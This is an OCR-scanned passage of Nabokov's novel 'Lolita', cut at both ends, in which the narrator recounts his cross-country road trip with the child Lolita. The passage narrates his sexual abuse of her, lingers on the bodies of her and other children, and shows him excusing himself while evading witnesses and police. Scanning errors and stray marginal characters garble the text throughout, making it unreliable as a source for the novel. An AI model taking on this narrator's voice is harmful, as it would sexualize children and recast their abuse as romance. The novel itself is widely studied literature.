chore. Roughly, during that +mad year (August 1947 to August 1948), our route began +with a series of waggles and whorls in New England, then +meandered south, up and down, east and west; dipped deep +into ce qu’on appelle Dixieland, avoided Florida because the +Farlow's were there, veered west, zigzagged through com belts +and cotton belts (this is not too clear I am afraid, Clarence, +but I did not keep any notes, and have at my disposal only an +atrociously crippled tour book in three volumes, almost a +symbol of my tom and tattered past, in which to check these +recollections); crossed and recrossed the Rockies, straggled +through southern deserts where we wintered; reached the +Pacific, turned north through the pale lilac fluff of flowering +shrubs along forest roads; almost reached the Canadian border; +and proceeded east, across good lands and had lands, back to +agriculture on a grand scale, avoiding, despite little Lo’s +strident remonstrations, little Lo’s birthplace, in a com, coal +and hog producing area; and finally returned to the fold of +the East, petering out in the college towm of Beardsley. + + +. 2 + +Now, rs- perusing what follows, the reader should hear in +mind not only the general circuit as adumbrated above, with +its many sidetrips and tourist traps, secondary circles and skit- +tish deviations, but also the fact that far from being an +indolent parfie de plaisir, our tour was a hard, twisted, teleo- +logical growth, whose sole raison d’etre (these French cliches + +141 + + +are symptomatic) was to keep my companion in passable +humor from kiss to kiss. + +Thumbing through that battered tour book, I dimly evoke +that Magnolia Garden in a southern state which cost me four +bucks and which, according to the ad in the book, you must +visit for three reasons: because John Galsworthy (a stone- +dead writer of sorts) acclaimed it as the world’s fairest garden; +because in 1900 Baedeker’s Guide had marked it with a star; +and finally, because . . . O, Reader, My Reader, guess! . . . +because children (and by Jingo was not my Lolita a childl ) will +“walk starry-eyed and reverently through this foretaste of +Heaven, drinking in beauty that can influence a life.” “Not +mine,” said grim Lo, and settled down on a bench with the +fillings of two Sunday papers in her lovely lap. + +We passed and re-passed through the whole gamut of +American roadside restaurants, from the lowly Eat with its +deer head (dark trace of long tear at inner canthus), "humor- +ous” picture post cards of the posterior “Kurort” type, impaled +guest checks, life savers, sunglasses, adman visions of celestial +sundaes, one half of a chocolate cake under glass, and several +horribly experienced flies zigzagging over the sticky sugar- +pour on the ignoble counter; and all the way to the expensive +place with the subdued lights, preposterously poor table linen, +inept waiters (ex-convicts or college boys), the roan back of a +screen actress, the sable eyebrows of her male of the moment, +and an orchestra of zoot-suiters with trumpets. + +We inspected the world’s largest stalagmite in a cave where +three southeastern states have a family reunion; admission by +age; adults one dollar, pubescents sixty cents. A granite obelisk +commemorating the Battle of Blue Licks, with old bones and +Indian pottery in the museum nearby, Lo a dime, very reason- +able. The present log cabin boldly simulating the past log +cabin where Lincoln was bom. A boulder, with a plaque, in +memory of the author of "Trees” (by now we are in Poplar +Cove, N.C., reached by what my kind, tolerant, usually so +restrained tour book angrily calls “a very narrow road, poorly +maintained,” to which, though no Kihnerite, I subscribe). +From a hired motorboat operated by an elderly, but still +repulsively handsome White Russian, a baron they said (Lo’s +palms were damp, the little fool), who had known in Cali- +fornia, good old Maximovich and Valeria, we could distinguish +the inaccessible "millionaires’ colony” on an island, somewhere +off the Georgia coast. We inspected further: a collection of + +142 + + +European hotel picture post cards in a museum devoted to +hobbies at a Mississippi resort, where with a hot wave of pride +I discovered a colored photo of my father’ s Mirana, its striped +awnings, its flag flying above the retouched palm trees. “So +what?” said Lo, squinting at the bronzed owner of an ex- +pensive car who had followed us into the Hobby House. Relics +of the cotton era. A forest in Arkansas and, on her brown +shoulder, a raised purple-pink swelling (the work of some +gnat) which I eased of its beautiful transparent poison between +my long thumbnails and then sucked tfll I was gorged on her +spicy blood. Bourbon street (in a town named New Orleans) +whose sidewalks, said the tour book, "may [I liked the ‘may 1 ] +feature entertainment by pickaninnies'who will [I liked the +'will' even better] tap-dance for pennies ” (what run), while +“its numerous small and intimate night clubs are thronged +with visitors” (naughty). Collections of frontier lore. Ante- +bellum homes with iron-trellis balconies and hand-w’orked +stairs, the land down which movie ladies with sun-kissed +shoulders mn in rich Technicolor, holding up the fronts of +their flounced skirts with both little hands in that special way, +and the devoted Negress shaking her head on the upper land- +ing. The Menninger Foundation, a psychiatric clinic, just for +the heck of it A patch of beautifully eroded clay; and yucca +blossoms, so pure, so waxy, but lousy with creeping white flies. +Independence, Missouri, the starting point of the Old Oregon +Trail; and Abilene, Kansas, the home of the Wild Bill Some- +thing Rodeo. Distant mountains. Near mountains. More +mountains; bluish beauties never attainable, or ever turning +into inhabited hill after Ml; south-eastern ranges, altitudinal +failures as alps go; heart and sky-piercing snow-veined gray +colossi of stone, relentless peaks appearing from nowhere at a l + +turn of the highway; timbered enormities, with a system of l + +neatly overlapping dark firs, interrupted in places by pale j + +puffs of aspen; pink and lilac formations, Pharaonic, phallic, [ + +“too prehistoric for words” (blas6 Lo); buttes of black lava; j + +early spring mountains with young-elephant lanugo along their ) + +spines; end-of-the-summer mountains, all hunched up, their (' + +heavy Egyptian limbs folded under folds of tawny moth-eaten j + +plush; oatmeal hills, flecked with green round oaks; a last {. + +rufous mountain with a rich rug of lucerne at its foot +. Moreover, we inspected: Little Iceberg Lake, somewhere +m Colorado, and the snow banks, and the cushionets of tiny t +alpine flowers, and more snow, down which Lo in red-peaked ( + +143 i + + +cap tried to slide, and squealed, and was snowballed by some +youngsters, and retaliated in ldnd comme on dit. Skeletons +of burned aspens, patches of spired blue flowers. The various +items of a scenic drive. Hundreds of scenic drives, thousands +of Bear Creeks, Soda Springs, Painted Canyons. Texas, a +drought-struck plain. Crystal Chamber in the longest cave in +the world, children under 12 free, Lo a young captive. A col- +lection of a local lady’s homemade sculptures, closed on a +miserable Monday morning, dust, wind, witherland. Concep- +tion Park, in a town on the Mexican border which I dared not +cross. There and elsewhere, hundreds of gray hummingbirds +in the dusk, probing the throats of dim flowers. Shakespeare, +a ghost town in New Mexico, where bad man Russian Bill +was colorfully hanged seventy years ago. Fish hatcheries. Cliff +dwellings. The mummy of a child (Florentine Bea’s Indian +contemporary). Our twentieth Hell’s Canyon. Our fiftieth +Gateway to something or other fide that tour book, the cover +of which had been lost by that time. A tick in my groin. Al- +ways the same three old men, in hats and suspenders, idling +away the summer afternoon under the trees near the public +fountain. A hazy blue view beyond railings on a mountain +pass, and the backs of a family enjoying it (with Lo, in a hot, +happy, wild, intense, hopeful, hopeless whisper — “Look, the +McCrystals, please, let's talk to them, please” — let's talk to +them, readerl — “please! I'll do anything you want, oh, +please . . .”). Indian ceremonial dances, strictly commercial. +ART: American Refrigerator Transit Company. Obvious +Arizona, pueblo dwellings, aboriginal pictogxaphs, a dinosaur +track in a desert canyon, printed there thirty million years ago, +when I was a child. A lanky, six-foot, pale boy with an active +Adam's apple, ogling Lo and her orange-brown bare midriff, +which I kissed five minutes later. Jack. Winter in the desert, +spring in the foothills, almonds in bloom. Reno, a dreary town +in Nevada, with a nightlife said to be “cosmopolitan and +mature.” A winery in California, with a church built in the +shape of a wine barrel. Death Valley. Scotty’s Castle. Works +of Art collected by one Rogers over a period of years. The +ugly villas of handsome actresses. R. L. Stevenson’s footprint +on an extinct volcano. Mission Dolores: good title for book. +Surf-carved sandstone festoons. A man having a lavish epileptic +fit on the ground in Russian Gulch State Park. Blue, blue +Crater Lake. A fish hatchery in Idaho and the State Peniten- +tiary. Somber Yellowstone Park and its colored hot springs, + +144 + + +baby geysers, rainbows of bubbling mud— symbols of my pas- j +sion. A herd of antelopes in a wildlife refuge. Our hundredth +cavern, adults one dollar, Lolita fifty cents. A chateau built +by a French marquess in N.D. The Com Palace in SJD.; and +the huge heads of presidents carved in towering granite. The +Bearded Woman read our jingle and now she is no longer +single. A zoo in Indiana where a large troop of monkeys lived +on concrete replica of Christopher Columbus’ flagship. Bil- +lions of dead, or halfdead, fish-smelling May flies in every +window of every' eating place all along a dreary sandy shore. > +Fat gulls on big stones as seen from the ferry City of Che- +boygan, whose brown woolly smoke arched and dipped over +the green shadow it cast on the aquamarine lake. A motel +whose ventilator pipe passed under the city sewer. Lincoln’s +home, largely spurious, with parlor books and period furniture +that most visitors reverently accepted as personal belongings. j + +We had rows, minor and major. The biggest ones we had | + +took place: at Lacework Cabins, Virginia; on Park Avenue, j + +Little Rock, near a school; on Milner Pass, 10,759 feet high, [ + +in Colorado; at the comer of Seventh Street and Central j + +Avenue in Phoenix, Arizona; on Third Street, Los Angeles, | + +because the tickets to some studio or other were sold out; j + +at a motel called Poplar Shade in Utah, where six pubescent [ + +trees were scarcely taller than my Lolita, and where she asked, | + +& propos de rien, how long did I think we were going to live j + +in stuffy cabins, doing filthy things together and never be- j + +having like ordinary people? On N. Broadway, Bums, Oregon, j + +comer of W. Washington, feeing Safeway, a grocery. In some j + +little town in the Sun Valley of Idaho, before a brick hotel, [ + +pale and flushed bricks nicely mixed, with opposite, a poplar j + +playing its liquid shadows all over the local Honor Roll. In a • + +sage brush wilderness, between Pinedale and Farson. Some- f + +where in Nebraska, on Main Street, near the First National r + +Bank, established 1889, with a view of a railway crossing in £ + +the vista of the street, and beyond that the white organ pipes j + +of a multiple silo. And on McEwen St, comer of Wheaton j + +Ave., in a Michigan town bearing his first name. + +We came to know the curious roadside species. Hitchhiking t +Man, Homo pollex of science, with all its many sub-species and l +forms: the modest soldier, spic and span, quietly waiting, qni- ?: +cth conscious of khaki s viatic appeal; the schoolbov wishing to .J +go two blocks; the killer wishing to go two thousand miles; the f- +mystenous, nervous, elderly' gent, with brand-new suitcase and | + + +i + + +clipped mustache; a trio of optimistic Mexicans; the college +student displaying the grime of vacational outdoor work as +proudly as the name of the famous college arching across the +front of his sweatshirt; the desperate lady whose battery has +just died on her; the clean-cut, glossy-haired, shifty-eyed, white- +faced young beasts in loud shirts and coats, vigorously, almost +priapically thrusting out tense thumbs to tempt lone women +or sadsack salesmen with fancy cravings. + +“Let’s take him,” Lo would often plead, rubbing her knees +together in a way she had, as some particularly disgusting pol- +Jex, some man of my age and shoulder breadth, with the face +d claques of an unemployed actor, walked backwards, practical- +ly in the path of our car. + +Oh, I had to keep a very sharp eye on Lo, little limp.Lol +Owing perhaps to constant amorous exercise, she radiated, de- +spite her very childish appearance, some special , languorous +glow which threw garage fellows, hotel pages, vacationists, +goons in luxurious cars, maroon morons near blued pools, into +fits of concupiscence which might have ticlded my pride, had it +not incensed my jealousy. For little Lo was aware of that glow +of hers, and I would often catch her coulant un regard in the +direction of some amiable male, some grease monkey, with a +sinewy golden-brown forearm and watch-braceleted wrist, and +hardly had I turned my back to go and buy this very Lo a +lollipop, than I would hear her and the fair mechanic burst +into a perfect love song of wisecracks. + +When, during our longer stops, I would relax after a par- +ticularly violent morning in bed, and out of the goodness of my +lulled heart .allow her — indulgent HumI — to visit the rose gar- +den or children's library across the street with a motor court +neighbor's plain little Mary and Mary’s eight-year old brother, +Lo would come back an hour late, with barefoot Mary trailing +far behind, and the little boy metamorphosed into two gan- +gling, golden-haired high school uglies, all muscles and gonor- +rhea. The reader may u’ell imagine what I answered my pet +when — rather uncertainly, I admit — she would ask me if she +could go with Carl and A1 here to the roller-skating rink. + +I remember the first time, a dusty windy afternoon, I did +let her go to one such rink. Cruelly she said it w'ould be no fun +if I accompanied her, since that time of day was reserved for +teenagers. We wrangled out a compromise: I remained in the +car, among other (empty) cars with their noses to the canvas- +topped open-air rink, where some fifty young people, many in + +146 + + +pairs, were endlessly rolling round and round to mechanical +music, and the wind silvered the trees. Dolly wore blue jeans +and white high shoes, as most of the other girls did. I kept +counting the revolutions of the rolling crowd — and suddenly +she was missing. When she rolled past again, she was together +with three hoodlums whom I had heard analyze a moment be- +fore the girl skaters from the outside — and jeer at a lovely leggy +young thing who had arrived clad in red shorts instead of those +jeans or slacks. + +At inspection stations on highways entering Arizona or Cali- +fornia, a policeman’s cousin would peer with such intensity at +us that my poor heart wobbled. “Any honey?” he would in- +quire, and every time my sweet fool giggled. I still have, vibrat- +ing all along my optic nerve, visions of Lo on horseback, a link +in the chain of a guided trip along a bridle trail: Lo bobbing at +a walking pace, with an old woman rider in front and a lech- +erous red-necked dude-rancher behind; and I behind him, +hating his fat flowery-shirted back even more fervently than a +motorist does a slow track 'on a mountain road. Or else, at a +ski lodge, I would see her floating away from me, celestial and +solitary, in an ethereal chairlift, up and up, to a glittering sum- +mit where laughing athletes stripped to the waist were waiting +for her, for her. + +In whatever town we stopped I would inquire, in my polite +European way, anent the whereabouts of natatoriums, muse- +ums, local schools, the number of children in the nearest school +and so forth; and at school bus time, smiling and twitching a +little (I discovered this tic nerveux because cruel Lo was the +first to mimic it) , I would park at a strategic point, with my +vagrant schoolgirl beside me in the car, to watch the children +leave school — always a pretty sight. This sort of thing soon +began to bore my so easily bored Lolita, and, having a childish +lack of sympathy for other people's whims, she would insult +me and my desire to have her caress me while blue-eyed little +brunettes in blue shorts, copperheads in green boleros, and +blurred boyish blondes in faded slacks passed by in the sun. + +As a sort of compromise, I freely advocated whenever and +wherever possible the use of swimming pools with other girl +children. She adored brilliant water and was a remarkably +diver. Comfortably Tobed, I would settle down in the +rich post-meridian shade after my own demure dip, and there I +would sit, with a dummy book or a bag of bonbons, or both, or +nothing but my tingling glands, and watch her gambol, rabber- + +M7 + + + +capped, bepearled, smoothly tanned, as glad as. an ad, in bet +trim-fitted satin pants and shirred bra. Pubescent sweetheart! +How. smugly would I marvel that she was mine, mine, mine, +and revise the recent matitudinal swoon to the moan of the +mourning doves, and devise the late afternoon one, and slitting +my sun-speared eyes, compare Lolita to whatever other nymph- +ets parsimonious chance collected around her for my antho- +logical delectation and judgment; and today, putting my hand +on my ailing heart, I really do not think that any of them ever +surpassed her in desirability, or if they did, it was so two or +three times at the most, in a certain light, with certain per- +fumes blended in the air — once in the hopeless case of a pale +Spanish child, the daughter of a heavy-jawed nobleman, and +another time — ma is je divague. + +Naturally, I had to be always wary, fully realizing, in my +lucid jealousy, the danger of those dazzling romps. I had only +to turn away for a moment — to walk, say, a few steps in order +to see if our cabin was at last ready after the morning change of +linen — and Lo and Behold, upon returning, I would find the +former, les yeux perdus, dipping and kicking her long-toed feet +in the water on the stone edge of which she lolled, while on +either side of her, there crouched a brun adolescent whom +her russet beauty and the quicksilver in the baby folds of her +stomach were sure to cause to se toidie — oh Baudelaire! — in +recurrent^ dreams fonnonths to come. + +I tried to teach her to play tennis so we might have more +amusements in common; but although I had been a good +player in my prime, I proved to be hopeless as a teacher, and +so, in California, I got her to take a number of very expensive +lessons with a famous coach, a husky, wrinkled old-timer, with +a harem of ball boys; he looked an awful wreck off the court, +but now and then, when, in the course of a lesson, to keep up +the exchange, he would put out as it were an exquisite spring +blossom of a stroke and twang the ball back to his pupil, that +divine delicacy of absolute power made me recall that, thirty +years before, I had seen him in Cannes demolish the great +Gobert! Until she began taking those lessons, I thought she +would never learn the game. On this or that hotel court I +would drill Lo, and try to relive the days when in a hot gale, a +daze of dust, and queer lassitude, I fed ball after ball to gay, +innocent, elegant Annabel (gleam of bracelet, pleated white +skirt, black velvet hair band). With every word of persistent +advice I would only augment Lo's sullen fury. To our games, + +148 + + + +oddly enough, she preferred— at least, before -we reached Cali- +fornia-formless pat ball approximations— more ball hunting +than actual play — with a wispy, weak, wonderfully pretty in an +ange gauche way coeval. A helpful spectator, I would go up to +that other child, and inhale her faint musky fragrance as I +touched her forearm and held her knobby wrist, and push this +way or that her cool thigh to show her the back-hand stance. +In the meantime, Lo, bending forward, would let her sunny- +brown curls hang forward as she stuck her racket, like a crip- +ple's stick, into the ground and emitted a tremendous ugh of +disgust at my intrusion. I would leave them to their game and +look on, comparing their bodies in motion, a sQk scarf round +my throat; this was in south Arizona, I think — and the days +had a lazy lining of warmth, and awlward Lo would slash at +the ball and miss it, and curse, and send a simulacrum of a +serve into the net, and show the wet glistening young down of +her armpit as she brandished her racket in despair, and her +even more insipid partner would dutifully rush out after every +ball, and retrieve none; but both were enjoying themselves +beautifully, and in clear ringing tones kept the exact score +of their ineptitudes all the time. + +One day, I remember, I offered to bring them cold drinks +from the hotel, and went up the gravel path, and came back +with two tall glasses of pineapple juice, soda and ice; and then +a sudden void within my chest made me stop as I saw that the +tennis court was deserted. I stooped to set down the glasses on +a bench and for some reason, with a kind of icy vividness, saw +Charlotte's face in death, and I glanced around, and noticed +Lo in white shorts receding through the speckled shadow of +a garden path in the company of a tall man who carried two +tennis rackets. I sprang after them, but as I was crashing +through the shrubbery, I saw, in an alternate vision, as if life's +course constantly branched, Lo, in slacks, and her companion, +in shorts, trudging up and down a small weedy area, and +beating bushes with their rackets in listless search for their +last lost ball + +I itemize these sunny nothings mainly to prove to my judges +that I did everything in my power to give my Lolita a really +good time. How charming it was to see her, a child herself, +showing another child some of her few accomplishments, such +as for example a special way of jumping rope. With her right +hand holding her left arm behind her untanned back, the lesser +nymphet, a diaphanous darling, would be all eyes, as the pavo- + +1-49 + + + +nine sun was all eyes on the gravel under the flowering trees, +while in the midst of that oculate_ paradise, my freckled and +raffish lass skipped, repeating the movements of so many others +I had gloated over on the sun-shot, watered, damp-smelling +sidewalks and ramparts of ancient Europe. Presently, she +would hand the rope back to her little Spanish friend, and +watch in her turn the repeated lesson, and brush away the hair +from her brow, and fold her arms, and step on one toe with +the other, or drop her hands loosely upon her still unflared +hips, and I would satisfy myself that the damned staff had at +last finished cleaning up our cottage; whereupon, flashing a +smile to the shy, dark-haired page girl of my princess and +thrusting my fatherly fingers deep into Lo’s hair from behind, +and then gently but firmly clasping them around the nape of +her neck, I would lead my reluctant pet to our small home for +a quick connection before dinner. + +“Whose cat has scratched poor you?” A full-blown fleshy +handsome woman of the repulsive type to which I was par- +ticularly attractive might ask me at the “lodge,” during a table +d’hdte dinner followed by dancing promised to Lo. This was +one of the reasons why I tried to keep as far away from people +as possible, while Lo, on the other hand, would do her utmost +to draw as many potential witnesses into her orbit as she could. + +She would be, figuratively speaking, wagging her tiny tail, +her whole behind in fact as little bitches do — while some grin- +ning stranger accosted us and began a bright conversation with +a comparative study of license plates. “Long way from home!” +Inquisitive parents, in order to pump Lo about me, would sug- +gest her going to a movie with their children. We had some +close shaves. The waterfall nuisance pursued me of course in +all our caravansaries. But I never realized how wafery their wall +substance was until one evening, after I had loved too loudly, a +neighbor's masculine cough filled the pause as clearly as mine +would have done; and next morning as I was having breakfast +at the milk bar (Lo was a late sleeper, and I liked to bring her a +pot of hot coffee in bed), my neighbor of the eve, an elderly +fool wearing plain glasses on his long virtuous nose and a con- +vention badge on his lapel, somehow managed to rig up a con-, +versation with me, in the course of which he inquired, if my +missus was like his missus a rather reluctant get-upper when +not on.the farm; and had not the hideous danger I was skirting +almost suffocated me, I might have enjoyed the odd look of +surprise on this thin-lipped weather-beaten face when I drily + +150 + + + +answered that I was thank God a widower. + +How sweet it was to bring that coffee to her, and then deny +it until she had done her morning duty. And I was such a +thoughtful friend, such a passionate father, such a good pedi- +atrician, attending to ah the wants of my little auburn bru- +nette's bodyl My only grudge against nature was that I could +not turn my Lolita inside out and apply voracious lips to her +young matrix, her unknown heart, her nacreous liver, the sea- +grapes of her lungs, her comely twin kidneys. On especially +tropical afternoons, in the sticky closeness of the siesta, I liked +the cool feel of armchair leather against my massive nakedness +as I held her in my lap. There she would be, a typical kid +picking her nose while engrossed in the lighter sections of a +newspaper, as indifferent to my ecstasy as if it were something +she had sat upon, a shoe, a doll, the handle of a tennis racket, +and was too indolent to remove. Her eyes would follow the +adventures of her favorite strip characters: there was one +well-drawn sloppy bobby-soxer, with high cheekbones and +angular gestures, that I was not above enjoying myself; sbe +studied the photographic results of head-on collisions; she +never doubted the reality of place, time and circumstance +alleged to match the publicity pictures of naked-thighed beau- +ties; and sbe was curiously fascinated by the photographs of +local brides, some in full wedding apparel, holding bouquets +and wearing glasses. + +A fly would settle and walk in the vicinity of her navel or +explore her tender pale areolas. She tried to catch it in her fist +(Charlotte's method) and then would turn to the column +Let’s Explore Your Mind. + +"Let’s explore your mind. Would sex crimes he reduced if +children obeyed a few don’ts? Don't play around public toi- +lets. Don’t take candy or rides from strangers. If picked up, +mark down the license of the car.” + +". . . and the brand of the candy,” I volunteered. + +She went on, her cheek (recedent) against mine (pursu- +ant); and this was a good day, mark, O reader! + +"If you don’t have a pencil, but are old enough to read — ” + +“We,” I quip-quoted, "medieval mariners, have placed in +this bottle — •” + +“If,” she repeated, "you don't have a pencil, hut are old +enough to read and write — this is what the guy means, isn’t +it, you dope — scratch the number somehow on the roadside.” + +"With your little claws, Lolita." + +151 + + + + +She had entered my world, umber and blacb Humberland, +with. rash curiosity; she surveyed it with a shrug of amused dis- +taste; and it seemed to me now that she was ready to turn away +from it with something akin to plain repulsion. Never did she +vibrate under my touch, and a strident “what d’you think you +are doing?” was all I got for my pains. To the wonderland I +had to offer, my fool preferred the corniest movies, the most +cloying fudge. To think that between a Hamburger and a +Humburger, she would — invariably, with icy precision — plump +for the former. There is nothing more atrociously cruel than +an adored child. Did I mention the name of that milk bar I +visited a moment ago? It was of all things. The Frigid Queen. +Smiling a little sadly, I dubbed her My Frigid Princess. She +did not see the wistful joke. + +Oh, do not scowl at me, reader, I do not intend to convey +the impression that I did not manage to be happy. Reader +must understand that in the possession and thralldom of a +nymphet the enchanted traveler stands, as it. were, beyond +happiness. For there is no other bliss on earth comparable +to that of fondling a nymphet It is hors concerns, that bliss, +it belongs to another class, another plane of sensitivity. De- +spite our tiffs, despite her nastiness, despite all the fuss and +faces she made, and the vulgarity, and the danger, and the +horrible hopelessness of it all, I still dwelled deep in my elected +paradise — a paradise whose skies were the color of hell-flames +— but still a paradise. + +The able psychiatrist who studies my case — and whom by +now Dr. Humbert has plunged, I trust, into a state of leporine +fascination — is no doubt anxious to have me take my Lolita to +the seaside and have me find there, at last, the “gratification” +of a lifetime urge, and release from the “subconscious” obses- +sion of an incomplete childhood romance with the initial little +Miss Lee. + +Well, comrade, let me tell you that I did look for a beach, +though I also have to confess that by the time we reached its +mirage of gray water, so many delights had already been grant- +ed me by my traveling companion that the search for a +Kingdom by the Sea, a Sublimated Riviera, or whatnot, far + +. 152 + + +from being the impulse of the subconscious, had become the +rational pursuit of a purely theoretical thrill. The angels knew +it, and arranged things accordingly. A visit to a plausible cove +on the Atlantic side was completely messed up by foul weather. +A thick damp sky, muddy waves, a sense of boundless but +somehow' matter-of-fact mist — what could be further removed +from the crisp charm, the sapphire occasion and rosy’ contin- +gency of my Riviera romance? A couple of semitropical beaches +on the Gulf, though bright enough, were starred and spat- +tered by venomous beasties and swept by hurricane winds. +Finally, on a Californian beach, facing the phantom of the +Pacific, I hit upon some rather perverse privacy in a kind of +a cave whence you could hear the shrieks of a lot of girl scouts +taking their first surf bath on a separate part of the beach, +behind rotting trees; but the fog was like a w’et blanket, and +the sand was gritty and clammy, and Lo was all goosefiesh and +grit, and for the first time in my life I had as little desire for her +as for a manatee. Perhaps, my learned readers may perk up if +I tell them that evCn had we discovered a piece of sympathetic +seaside somewhere, it would have come too late, since my real +liberation had occurred much earlier: at the moment, in point +of feet, when Annabel Haze, alias Dolores Lee, alias Loleeta, +had appeared to me, golden and brown, kneeling, looking up, +on that shoddy veranda, in a kind of fictitious, dishonest, but +eminently satisfactory' seaside arrangement {although there +was nothing but a second-rate lake in the neighborhood). + +So much for those special sensations, influenced, if not ac- +tually brought about, by the tenets of modem psychiatry. Con- +sequently, I turned away — I headed my Lolita away — from +beaches which were either too bleak when lone, or too pop- +ulous when ablaze. However, in recollection, I suppose, of my +hopeless hauntings of public parks in Europe, I was still keenly +interested in outdoor activities and desirous of finding suitable +playgrounds in the open where I had suffered such shameful +privations. Here, too, I was to be thwarted. The disappoint- +ment I must now register (as I gently grade my story into an +expression of the continuous risk and dread that ran through +my bliss) should in no wise reflect on the lyrical, epic, tragic +but never Arcadian American wilds. They arc beautiful, heart- +rcndingly beautiful, those wilds, with a quality of wide-eyed, +unsung, innocent surrender that my lacquered, toy-bright +Swiss villages and exhaustively Lauded Alps no longer possess. +Innumerable lovers have clipped and kissed on the trim turf + +153 + + + +of old-world mountainsides, on the innerspring moss, by a +handy, hygienic rill, on rustic benches under the initialed +oaks, and in so many cabanes in so many beech forests. But +. in the Wilds of America the open-air lover will not find it +easy to indulge in the most ancient of all crimes and pastimes. +Poisonous plants bum his sweetheart’s buttocks, nameless in- +sects sting his; sharp items of the forest floor prick his knees, +insects .hers; and all around there abides a sustained rustle +of potential snakes — que dis-je, of semi-extinct dragons!— +while the crablike seeds of ferocious flowers cling, in a hideous +green crust, to gartered black sock and sloppy wbite sock alike. + +I am exaggerating a little. One summer noon, just below +timberline, ' where heavenly-hued blossoms that I would fain +call larkspur crowded all along a purly mountain brook, we did +find, Lolita and I, a secluded romantic spot, a hundred feet +or so above the pass where we had left our car. The slope +seemed untrodden. A last panting pine was taking a well- +earned breather on the rock it had reached. A marmot whistled +at us and withdrew. Beneath the lap-robe I had spread for Lo, +dry flowers crepitated softly. Venus came and went. The jagged +cliff crowning the upper talus and a tangle of shrubs growing +below us seemed to offer us protection from sun and man +alike. Alas, I had not reckoned with a faint side trail that +curled up in cagey fashion among the shrubs and rocks a few +feet from us. + +It was then that we came closer to detection than ever +before, and no wonder the experience curbed forever my yearn- +ing for rural amours. + +I remember the operation was over, all over, and she was +weeping in my arms; — a salutory storm of sobs after one of the +fits of moodiness that had become so frequent with her in the +course of that otherwise admirable year! I had just retracted +some silly promise she had forced me to make in a moment of +blind impatient passion, and there she was sprawling and sob- +bing, and pinching my caressing hand, and I was laughing +happily, and the atrocious, unbelievable, unbearable, and, I +suspect, eternal horror that I know now was still but a dot. of +blackness in the blue of my bliss; and so we lay, when with +one of those jolts that have ended by knocking my poor heart +out of its groove, I met the unblinking dark eyes of two strange +and beautiful children, faunlet and nymphet, whom their +identical flat dark hair and bloodless cheeks proclaimed siblings +if not twins. They stood crouching and gaping at us, both in +blue playsuits, blending with the mountain blossoms. I + +i r j + + +i + +! + +: + +l + +! + +£ + +f + +if + +h + +£ + +£, + +v + +y, + +c! + + +% + + +if frrt ;j- ri'Tj.n + + +plucked at the lap-robe for desperate concealment— and with- +in the same instant, something. that looked like a polka-dotted +pushball among the undergrowth a few paces away, went into +a turning motion which was transformed into the gradually +rising figure of a stout lady with a raven-black bob, who auto- +matically added a wild lily to her bouquet, while -staring over +her shoulder at us from behind her lovely carved bluestone +children. + +Now that I have an altogether, different mess on my con- +science, I know' that I am a courageous man, but in those +days I was not aware of it, and I remember being surprised by +my own coolness. With the quiet murmured order one gives +a sweatstained distracted cringing trained animal even in the +worst of plights (what mad hope or hate makes the young +beast’s flanks pulsate, wbat black stars pierce the heart of the +tamerl), I made Lo get up, and we decorously walked, and then +indecorously scuttled down to the car. Behind it a nifty station +wagon was parked, and a handsome Assyrian with a little blue- +black beard, un monsieur tr£s bien, in silk shirt and magenta +slacks, presumably the corpulent botanist’s husband, was grave- +ly taking the picture of a signboard giving the altitude of the +pass. It was well over 10,000 feet and I was quite out of +breath; and with a scrunch and a skid we drove off, Lo still +struggling with her clothes and swearing at me in language +that I never dreamed little girls could know, let alone use. + +There were other unpleasant incidents. There was the movie +theatre once, for example. Lo at the time still had for the +cinema a veritable passion (it was to decline into tepid con- +descension during her second high school year) . We took in, +voluptuously and indiscriminately, oh, I don’t know-, one +hundred and fifty or two hundred programs during that one +year, and during some of the denser periods of movie-going +we saw many of the news-reels up to a half-a-dozen times since +the same weekly one went with different main pictures and +pursued us from town to town. Her favorite kinds were, in this +order: musicals, underworlders, westerners. In the first, real +singers and dancers had unreal stage careers in an essentially +grief-proof sphere of existence wherefrom death and truth were +banned, and where, at the end, white-haired, dewy-eyed, tech- +nically deathless, the initially reluctant father of a show-crazy +■-girl always finished by applauding ber apotheosis on fabulous +'■ Broadway. The underworld was a world apart: there, heroic +newspapermen were tortured, telephone bills ran to billions, +and, in a robust atmosphere of incompetent marksmanship + +155 + + + +villains were chased through sewers and storehouses by patho- +logically fearless cops (I was to give them less exercise) . Final- +ly there was the mahogany landscape, the florid-faced, blue-eyed +roughriders, the prim pretty schoolteacher arriving in Roaring +Gulch, the rearing hope, the spectacular stampede, the pistol +thrust through the shivered windowpane, the stupendous fist +fight, the crashing mountain of dusty old-fashioned furniture, +the table used as a weapon, the timely somersault, the pinned +hand still groping for the dropped bowie knife, the grunt, the +sweet crash of fist against chin, the kick in the belly, the flying +tackle; and immediately after a plethora of pain that would +have hospitalized a Hercules (I should know by now), nothing +to show but the rather becoming bruise on the bronzed cheek +of the warmed-up hero embracing his gorgeous frontier bride. I +remember one matinee in a small airless theatre crammed with +children and reeking with the hot breath of popcorn. The +moon was yellow above the neckerchiefed crooner, and his +finger was on his strumstring, and his foot was on a pine log, +and I had innocently encircled Lo's shoulder and approached +my jawbone to her temple, when two harpies behind us started +muttering the queerest things — I do not know if I understood +aright, but what I thought I did, made me withdraw my gentle +hand, and of course the rest of the show was fog to me. + +Another jolt I remember is connected with a little burg we +were traversing at night, during our return journey. Some +twenty miles earlier I had happened to tell her that day the +school she would attend at Beardsley was a rather high-class, +non-coeducational one, with no modem nonsense, whereupon +Lo treated me to one of those furious harangues of hers where +entreaty and insult, self-assertion and double talk, vicious vul- +garity and childish despair, were interwoven in an exasperating +semblance of logic which prompted a semblance of explana- +tion from me. Enmeshed in her wild words (swell chance . . . + +I’d be a sap if I took your opinion seriously . . . Stinker . . . +You can’t boss me ... I despise you . . - and so forth), I +drove through the slumbering town at a fifty-mile-per-hour +pace in continuance of my smooth highway swoosh, and a +twosome of patrolmen put their spotlight on the car,^ and +told me to pull over. I shushed Lo who was automatically +raving on. The men peered at her and me with malevolent +curiosity. Suddenly all dimples, she beamed sweetly at them, +as she never did at my orchideous masculinity; for, in a +sense, my Lo was even more scared of the law than I — and +when the land officers pardoned us and servilely we crawled + + +on, her eyelids dosed and fluttered as she mimicked limp +prostration. _ + +At this point I have a curious confession to make. You win +laugh — but really and truly I somehow never man aged to End +out quite exactly what the legal situation was. I do not know +it yet Oh, I have learned a few odds and ends. Alabama pro- +hibits a guardian from changing the ward’s residence without +an order of the court; Minnesota, to whom I take off my hat, +provides that when a relative assumes permanent care and +custody of any 